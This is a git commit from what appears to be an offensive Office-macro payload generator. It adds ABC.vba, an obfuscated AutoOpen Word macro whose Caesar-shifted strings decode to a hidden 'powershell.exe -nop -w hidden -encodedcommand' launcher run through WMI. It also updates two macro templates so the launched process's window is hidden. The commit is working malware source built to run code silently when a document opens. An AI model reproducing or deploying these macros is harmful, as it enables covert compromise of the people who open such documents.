Updated WMI to hide window

patch-1
chamilton 2017-01-10 14:24:31 -05:00
parent e2ee427a3b
commit 71cc07b2ec
7 changed files with 177 additions and 15 deletions

135
ABC.vba Normal file
View File

@ -0,0 +1,135 @@
Sub AutoOpen()
Dim qrMsPEfZZxQtuT As String
Dim uqESZvZWU As Object
Dim YcCVBPFAXEgRZJKMArhrq As Integer
Dim ilttqSzePLIB As String
Dim PSxgNvQbzD as String
YcCVBPFAXEgRZJKMArhrq = 6438
PSxgNvQbzD = CALGUwZkIjKgysDPyM("BpYPdusgPtDSBdRIRfluMvJ")
Set uqESZvZWU = GetObject(PSxgNvQbzD)
ilttqSzePLIB = CZExVbvjSNaN("BpYPdusgPtDSBdRIRfluMvJ")
ilttqSzePLIB = XItmeSMLzMDoEt(uqESZvZWU, ilttqSzePLIB, YcCVBPFAXEgRZJKMArhrq)
End Sub
Function CZExVbvjSNaN(wCqKU As String) As String
Dim gcGCwobmOwetmyCIXerNTAZ As String
Dim yntZzVvZZccetYiLF As String
Dim wzfXnd As String
wzfXnd = "fpg1h{h#2f#srzhuvkhoo1h{h#0qrs#0z#klgghq#0hqfrghgfrppdqg#MDE}DG3DWjEoDKfDOTESDJLDdjEoDJPDgDDjDHnDWzDxDH3D]TEwDJ;DfjE8DIPDgDE|DJXD\TEwDFjDODEeDHPDezExDK\D]TE|DKTD[TD9DGrDUjE|DJ;DeTEFDJHDfzEoDG\DQDEWDKT"
Dim mnZGckHXWkbNuHfHEs As String
mnZGckHXWkbNuHfHEs = "DfjEsDJ7D]zDrDFLDVDD3DKPDVTEEDHHDTTEEDHHDTTEEDHHDTTEPDGHDZDEkDIfDOzElDH;DTjETDFvDVDETDGjDVzE]DILDUjEEDHXDgTE|DGTD\jEzDJ;DYTEGDH\DUDEODKTDNzE}DKLDeDEsDGHD]jEkDKjDdTDzDIPDWTE3DH3DVzERDHfDYjEODHTDgjESDKT"
Dim EudNeKPlPnTvhZmQa As String
EudNeKPlPnTvhZmQa = "DgjD8DGnDXjD4DHzD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rJ = "DVDE8DITD\jEuDHPDYTEJDHLDXTEPDH3DTTE5DJfD]TDuDHXDYTEpDGnDYTEuDJrDNzEmDKLDRDEyDJXDYDEMDJvDZjE5DKnDezEHDJHDeDEQDInD]TD5DGnD\TE]DJfDYjD8DJvD\zEMDInDUjEMDJ3DWzErDIXDYDEIDKPDXDEmDGPDZjEQDJPDRTEJDITDVTERDHH"
Dim xgLjcClnFUTCUj As String
xgLjcClnFUTCUj = "DTTEEDG3DLjDsDFnDRzEMDHXDZDDjDFjDWjEoDKfDOTESDJLDdjEoDJPDgDDjDHnDWzDxDIPDgDE|DJXD\TEwDILD]TEkDJTD]TE|DFjDWjEoDKfDOTESDJLDdjEoDJPDgDDjDHnDWzDxDHPDezEwDKDDfjEoDKPDfzEsDJ;DejDxDHfDhjEsDKDDXzE3DKLD]TEkDJ3"
Dim IEgSKWOU As String
IEgSKWOU = "DNDDnDKPDODEeDHnDWzDxDHPDezEwDKDDfjEoDKPDfzEsDJ;DejDxDHPDezEwDKDDfjEoDKPDfzEsDJ;DejEQDJ;D]DEoDI3DRjD9DHTD]TEmDJ;DeTEzDKLD]TE}DKPDNTDsDFnDOjEVDJXD\TEnDITDezEIDJ7D]DDrDFnDRzD@"
gcGCwobmOwetmyCIXerNTAZ = wzfXnd & mnZGckHXWkbNuHfHEs & EudNeKPlPnTvhZmQa & WTksSoRlwX & XOKupOohTiUtGeW & ZJdTS & VSGtpb & toAFlzFGwBIhanWofu & FYCKEzBdOtzBx & lObUCjU & mxATuPixshP & rbJHrFGH & oLwCJ & xUdZsFglujHSJ & BUOFvFtXpWYOxqwsmCr & SOtEKNXgEZHXFGCxhWp & ZrrulF & TatdI & CiIGaZrrUJq & ODsyVBQ & TCUdXv & KMoGxtpQUro & rocwFyWRtPwPRPha & hPgycfYYOoBWU & XeZIz & rNZPTj & vjBIpylQJaWcNEJuYfT & OdDSGBVqnrmBACID & WNIquUYGkUpecPQbus & qDnmSyPstQKrJ & xgLjcClnFUTCUj & IEgSKWOU
gcGCwobmOwetmyCIXerNTAZ = IMahev(gcGCwobmOwetmyCIXerNTAZ)
CZExVbvjSNaN = gcGCwobmOwetmyCIXerNTAZ
End Function
Function pONpYabIh() As String
Dim RoPgdoevhhFCaiNBT As String
RoPgdoevhhFCaiNBT = IMahev("zlqpjpwv=urrw2flpy5")
pONpYabIh = RoPgdoevhhFCaiNBT
End Function
Function XItmeSMLzMDoEt(DitexWndjefju As Object, AoUcUHL As String, MaqkRfyEkIEOdd As Integer) As String
Dim CoGsxQyIbBgiQjA As String
Dim ApcjiM As Integer
Dim mJkTVsNh As Integer
Dim JCSnEYzttQSwVdV As Integer
ApcjiM = 8
CoGsxQyIbBgiQjA = AoUcUHL
If (MaqkRfyEkIEOdd > ApcjiM) Then
Set SujUrYCEsfPsr = GetObject(pONpYabIh())
Set wugrVNYqPPGxXSamhLnkS = SujUrYCEsfPsr.Get(IMahev("Zlq65bSurfhvvVwduwxs"))
Set qNgUfERIEAKODVyxb = wugrVNYqPPGxXSamhLnkS.SpawnInstance_
ApcjiM = MaqkRfyEkIEOdd - MaqkRfyEkIEOdd
ApcjiM = ApcjiM + 12
qNgUfERIEAKODVyxb.ShowWindow = ApcjiM
JCSnEYzttQSwVdV = DitexWndjefju.Create(CoGsxQyIbBgiQjA, null, qNgUfERIEAKODVyxb, mJkTVsNh)
End If
CoGsxQyIbBgiQjA = "hNlKxakwGfktPoqaeyQLcP"
XItmeSMLzMDoEt = CoGsxQyIbBgiQjA
End Function
Function CALGUwZkIjKgysDPyM(DlzhqGHNiEuPevnJzPtk As String) As String
Dim sPMdZm As String
sPMdZm = IMahev("zlqpjpwv=Zlq65bSurfhvv")
CALGUwZkIjKgysDPyM = sPMdZm
End Function
Function IMahev(xwMbMkcLWXnfGMLtZe As String) As String
Dim yPccVGSEMWlIDSPolPnWurpD As Long
Dim uXFhTeVPXvr As String
Dim mJuCgbCXWnphqwwoRWoNWyzB As Integer
mJuCgbCXWnphqwwoRWoNWyzB = 3
For yPccVGSEMWlIDSPolPnWurpD = 1 To Len(xwMbMkcLWXnfGMLtZe)
uXFhTeVPXvr = uXFhTeVPXvr & Chr(Asc(Mid(xwMbMkcLWXnfGMLtZe, yPccVGSEMWlIDSPolPnWurpD, 1)) - mJuCgbCXWnphqwwoRWoNWyzB)
Next yPccVGSEMWlIDSPolPnWurpD
IMahev = uXFhTeVPXvr
End Function

File diff suppressed because one or more lines are too long

BIN
lib/__init__.pyc Normal file

Binary file not shown.

BIN
lib/encoder.pyc Normal file

Binary file not shown.

BIN
lib/helper.pyc Normal file

Binary file not shown.

View File

@ -1,7 +1,7 @@
[use:payload_wrapper] [use:payload_wrapper]
[use:exec] [use:exec]
[use:init_wmi] [use:init_wmi]
[use:init_properties]
Sub AutoOpen() Sub AutoOpen()
Dim var1 As String Dim var1 As String
Dim var2 As Object Dim var2 As Object
@ -27,21 +27,34 @@ Function payload_wrapper(payload_wrapper1 As String) As String
payload_wrapper = payload_wrapper2 payload_wrapper = payload_wrapper2
End Function End Function
Function init_properties() As String
Dim init_properties1 As String
init_properties1 = decode("{[winmgmts:root/cimv2]}")
init_properties = init_properties1
End Function
Function exec(exec1 As Object, exec2 As String, exec3 As Integer) As String Function exec(exec1 As Object, exec2 As String, exec3 As Integer) As String
Dim exec4 As String Dim exec4 As String
Dim exec5 As Integer Dim exec5 As Integer
exec5 = [smallint1] Dim exec13 As Integer
exec4 = exec2 Dim exec14 As Integer
exec5 = [smallint1]
exec4 = exec2
If (exec3 > exec5) Then If (exec3 > exec5) Then
exec5 = exec3 - exec3 Set exec10 = GetObject(init_properties())
exec1.Create(exec4) Set exec11 = exec10.Get(decode("{[Win32_ProcessStartup]}"))
End If Set exec12 = exec11.SpawnInstance_
exec4 = "exec6" exec5 = exec3 - exec3
exec = exec4 exec5 = exec5 + 12
exec12.ShowWindow = exec5
exec14 = exec1.Create(exec4, null, exec12, exec13)
End If
exec4 = "exec6"
exec = exec4
End Function End Function
Function init_wmi(init_wmi1 As String) As String Function init_wmi(init_wmi1 As String) As String
Dim init_wmi2 As String Dim init_wmi2 As String
init_wmi2 = decode("{[winmgmts:Win32_Process]}") init_wmi2 = decode("{[winmgmts:Win32_Process]}")
init_wmi = init_wmi2 init_wmi = init_wmi2
End Function End Function

View File

@ -1,6 +1,7 @@
[use:payload_wrapper] [use:payload_wrapper]
[use:exec] [use:exec]
[use:init_wmi] [use:init_wmi]
[use:init_properties]
Sub AutoOpen() Sub AutoOpen()
Dim var1 As String Dim var1 As String
@ -24,14 +25,27 @@ Function payload_wrapper(payload_wrapper1 As String) As String
payload_wrapper = payload_wrapper2 payload_wrapper = payload_wrapper2
End Function End Function
Function init_properties() As String
Dim init_properties1 As String
init_properties1 = decode("{[winmgmts:root/cimv2]}")
init_properties = init_properties1
End Function
Function exec(exec1 As Object, exec2 As String, exec3 As Integer) As String Function exec(exec1 As Object, exec2 As String, exec3 As Integer) As String
Dim exec4 As String Dim exec4 As String
Dim exec5 As Integer Dim exec5 As Integer
Dim exec13 As Integer
Dim exec14 As Integer
exec5 = [smallint1] exec5 = [smallint1]
exec4 = exec2 exec4 = exec2
If (exec3 > exec5) Then If (exec3 > exec5) Then
Set exec10 = GetObject(init_properties())
Set exec11 = exec10.Get(decode("{[Win32_ProcessStartup]}"))
Set exec12 = exec11.SpawnInstance_
exec5 = exec3 - exec3 exec5 = exec3 - exec3
exec1.Create(exec4) exec5 = exec5 + 12
exec12.ShowWindow = exec5
exec14 = exec1.Create(exec4, null, exec12, exec13)
End If End If
exec4 = "exec6" exec4 = "exec6"
exec = exec4 exec = exec4
@ -40,5 +54,5 @@ End Function
Function init_wmi(init_wmi1 As String) As String Function init_wmi(init_wmi1 As String) As String
Dim init_wmi2 As String Dim init_wmi2 As String
init_wmi2 = decode("{[winmgmts:Win32_Process]}") init_wmi2 = decode("{[winmgmts:Win32_Process]}")
init_wmi = init_wmi2 init_wmi = init_wmi2
End Function End Function